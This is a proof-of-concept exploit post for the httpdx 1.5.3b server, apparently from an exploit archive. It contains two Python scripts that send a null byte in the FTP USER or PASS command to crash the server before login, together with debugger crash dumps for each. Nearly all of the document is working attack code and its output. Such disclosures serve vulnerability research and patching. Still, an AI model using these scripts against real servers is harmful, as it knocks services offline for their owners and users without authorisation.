httpdx 1.5.3b – Multiple Remote Denial of Service Vulnerabilities (PoC)
# Title: httpdx v1.5.3b Multiple - Remote Pre-Authentication DoS (PoC crash) # From: The eh?-Team || The Great White Fuzz (we're not sure yet) # Found by: loneferret # Hat's off to dookie2000ca # Date: 13/03/2010 # Software link: http://httpdx.sourceforge.net/downloads/ # Tested on: Windows XP SP3 Professional # Nod to the Exploit-DB Team #Not to beat a dead horse, but when I saw the latest release notes #about how he fixed a few security bugs. I figured I'd give this one #another go at it. #He did fix quite a few bugs, but he created this one in the process. #I've included 2 PoCs for both the USER & PASS command. #As always, if anyone wants to take this further, go right ahead. #============================USER Command=============================== #CONTEXT DUMP # EIP: 77c47b79 mov [edi],eax # EAX: 00000000 ( 0) -> N/A # EBX: fffffffa (4294967290) -> N/A # ECX: 3ffff68b (1073739403) -> N/A # EDX: 7efeff1f (2130640671) -> N/A # EDI: 003f0000 ( 4128768) -> N/A # ESI: 003eca36 ( 4114998) -> (heap) # EBP: 0022dde4 ( 2285028) -> "@(>t"@@(>@@(>@@(>(>(> (stack) # ESP: 0022ba9c ( 2275996) -> 0> (stack) # +00: 003eca30 ( 4114992) -> USER (heap) # +04: 00000000 ( 0) -> N/A # +08: 00000000 ( 0) -> N/A # +0c: 0040d663 ( 4249187) -> N/A # +10: 003eda30 ( 4119088) -> (heap) # +14: 003eca35 ( 4114997) -> (heap) #disasm around: # 0x77c47b61 and edx,0xff # 0x77c47b67 mov [edi],edx # 0x77c47b69 jmp 0x77c47b6f # 0x77c47b6b xor edx,edx # 0x77c47b6d mov [edi],edx # 0x77c47b6f add edi,0x4 # 0x77c47b72 xor eax,eax # 0x77c47b74 dec ecx # 0x77c47b75 jz 0x77c47b81 # 0x77c47b77 xor eax,eax # 0x77c47b79 mov [edi],eax # 0x77c47b7b add edi,0x4 # 0x77c47b7e dec ecx # 0x77c47b7f jnz 0x77c47b79 # 0x77c47b81 and ebx,0x3 # 0x77c47b84 jnz 0x77c47b0b # 0x77c47b86 mov eax,[esp+0x10] # 0x77c47b8a pop ebx # 0x77c47b8b pop esi # 0x77c47b8c pop edi # 0x77c47b8d ret #stack unwind: # httpdx.exe:0040ffec # kernel32.dll:7c80b713 #SEH unwind: # ffffffff -> kernel32.dll:7c839ac0 push ebp #!/usr/bin/python import socket buffer = "\000" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address s.recv(1024) s.send('USER '+ buffer +'\r\n') s.recv(1024) s.close #============================PASS Command=============================== #CONTEXT DUMP # EIP: 77c47b79 mov [edi],eax # EAX: 00000000 ( 0) -> N/A # EBX: fffffffa (4294967290) -> N/A # ECX: 3ffed77d (1073665917) -> N/A # EDX: 7efeff1f (2130640671) -> N/A # EDI: 00c63000 ( 12988416) -> N/A # ESI: 00c17cfe ( 12680446) -> (heap) # EBP: 0186dde4 ( 25615844) -> @|t@@|@@|@@||| (stack) # ESP: 0186ba9c ( 25606812) -> |)@| PASS (heap) # +04: 00000000 ( 0) -> N/A # +08: 00000000 ( 0) -> N/A # +0c: 0040d729 ( 4249385) -> N/A # +10: 00c18df8 ( 12684792) -> (heap) # +14: 00c17cfd ( 12680445) -> (heap) #disasm around: # 0x77c47b61 and edx,0xff # 0x77c47b67 mov [edi],edx # 0x77c47b69 jmp 0x77c47b6f # 0x77c47b6b xor edx,edx # 0x77c47b6d mov [edi],edx # 0x77c47b6f add edi,0x4 # 0x77c47b72 xor eax,eax # 0x77c47b74 dec ecx # 0x77c47b75 jz 0x77c47b81 # 0x77c47b77 xor eax,eax # 0x77c47b79 mov [edi],eax # 0x77c47b7b add edi,0x4 # 0x77c47b7e dec ecx # 0x77c47b7f jnz 0x77c47b79 # 0x77c47b81 and ebx,0x3 # 0x77c47b84 jnz 0x77c47b0b # 0x77c47b86 mov eax,[esp+0x10] # 0x77c47b8a pop ebx # 0x77c47b8b pop esi # 0x77c47b8c pop edi # 0x77c47b8d ret #stack unwind: # httpdx.exe:0040ffec # kernel32.dll:7c80b713 #SEH unwind: # ffffffff -> kernel32.dll:7c839ac0 push ebp #!/usr/bin/python import socket buffer = "\000" s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address s.recv(1024) s.send('USER test\r\n') s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.recv(1024) s.close |